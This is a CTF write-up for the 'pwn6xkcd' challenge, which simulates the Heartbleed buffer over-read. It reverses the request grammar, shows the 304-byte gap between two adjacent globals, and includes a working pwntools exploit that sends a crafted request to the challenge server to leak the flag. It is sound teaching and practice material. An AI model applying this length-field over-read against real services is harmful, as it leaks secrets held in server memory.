pwn6xkcd
pwn6xkcd
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: heartbleed_over_read, buffer_fill_to_secret, strtok_grammar_reversal, length_field_abuse, adjacent_global_leak
Summary
Task: statically-linked x86-64 NX/no-PIE binary simulating the xkcd#1354 Heartbleed bug — a strtok request grammar lets you write a WORD into a reply buffer and echo len bytes of it. Solution: fill the reply buffer with 304 'A's right up to the adjacent flag global, then request 342 LETTERS so puts() over-reads past the written data into the flag memory and echoes it.
pwn6xkcd — pwn_spbctf
Description
xkcd#1354
Try to leak the flag!
Tier pwn6 "Добор", category Overflow. Author: Vlad Roskov (@mrvos).
Remote: nc 109.233.56.90 11678, platform pwn.spbctf.ru.
The title is a direct reference to xkcd#1354, the comic explaining the Heartbleed bug — a classic buffer over-read where a length field is trusted blindly and the server echoes back more bytes than the client actually supplied, leaking adjacent memory.
xkcd.elf is a faithful simulator of that bug. The goal is to leak the flag,
which the program reads from a flag file into a global buffer at startup.
Analysis
Binary properties:
ELF 64-bit LSB executable, x86-64, statically linked, not stripped
NX enabled, No PIE (loaded at 0x400000), No RELRO, No canary
main @ 0x400f5e does the following:
bzero(0x6b7470, 0x100)— clears the flag buffer.fopen64("flag", "r")thenfread(0x6b7470, 1, 0x100, fp)— loads the FLAG into the global buffer at0x6b7470.fgetln(stdin)— reads one request line from us.- Parses the line with a
strtok+strcasecmpgrammar (strings recovered from.rodata):strtok(line, "?")must equal"SERVER, ARE YOU STILL THERE", else"MALFORMED REQUEST"and exit.strtok(NULL, '"')must equal" IF SO, REPLY ", else MALFORMED.strtok(NULL, '"')→ WORD →memcpy(0x6b7340, WORD, strlen(WORD))into the reply buffer.strtok(NULL, "(")discarded.strtok(NULL, ")")→sscanf("%d LETTERS", &len).buf[len] = 0;thenif (len > strlen(0x6b7340)) puts("NICE TRY"); else puts(0x6b7340);
The bug
The two globals are adjacent in .bss:
reply buffer : 0x6b7340
flag buffer : 0x6b7470
delta : 0x6b7470 - 0x6b7340 = 304 bytes
The reply buffer sits exactly 304 bytes before the flag buffer. The len
field controls how many bytes puts() reads from the reply buffer — but puts()
runs until a NUL byte, and len only NUL-terminates at buf[len]. So if the
content is a contiguous non-NUL run that spans past the 304-byte boundary into
the flag, puts() echoes the flag too. This is exactly Heartbleed.
The guard
if (len > strlen(0x6b7340)) puts("NICE TRY") prevents simply asking for a huge
length over empty memory. strlen measures the current contiguous content. So
the over-read only works if the reply buffer is filled up to (and into) the
flag so the contiguous string already extends through the secret:
- Send a 304-byte WORD of
As →memcpyfills the reply buffer right up to the flag's first byte. Nowreply_buf+ flag are one contiguous non-NUL run. - Request a
lenslightly larger than 304 soputs()over-reads into the flag. The guard capslenat the naturalstrlenof that contiguous run, so we can't ask for 500 (→ "NICE TRY").len = 342lands inside the live run and echoes the whole flag including the closing}.
Solution
Reverse the request grammar precisely from the .rodata strings, then send:
SERVER, ARE YOU STILL THERE? IF SO, REPLY "<304 A's>" (342 LETTERS)
The server echoes the 304 As followed immediately by the leaked flag bytes.
python read-only • copy allowed#!/usr/bin/env python3 # pwn6xkcd (event pwn_spbctf, xkcd#1354 Heartbleed over-read) from pwn import * import time, re HOST, PORT = '109.233.56.90', 11678 DELTA = 0x6b7470 - 0x6b7340 # 304: reply buffer -> flag buffer distance def send(wordlen, length): word = b'A' * wordlen req = b'SERVER, ARE YOU STILL THERE? IF SO, REPLY "' + word + b'" (%d LETTERS)' % length io = remote(HOST, PORT) io.sendline(req) time.sleep(0.7) data = io.recvall(timeout=5) io.close() return req, data def main(): # 304 'A' fills the reply buffer up to the flag start; the buf[len]=0 + # (len <= strlen) guard caps len at the natural content length. 342 captures # the whole flag including the closing '}'. for length in (342, 341, 340, 360, 330): req, data = send(DELTA, length) m = re.search(rb'spbctf\{[^}]*\}', data) if m: print('[+] REQUEST:', req.decode()) print('[+] FLAG :', m.group().decode()) return time.sleep(35) # remote rate-limit if __name__ == '__main__': main()
The len = 342 request returns the full flag.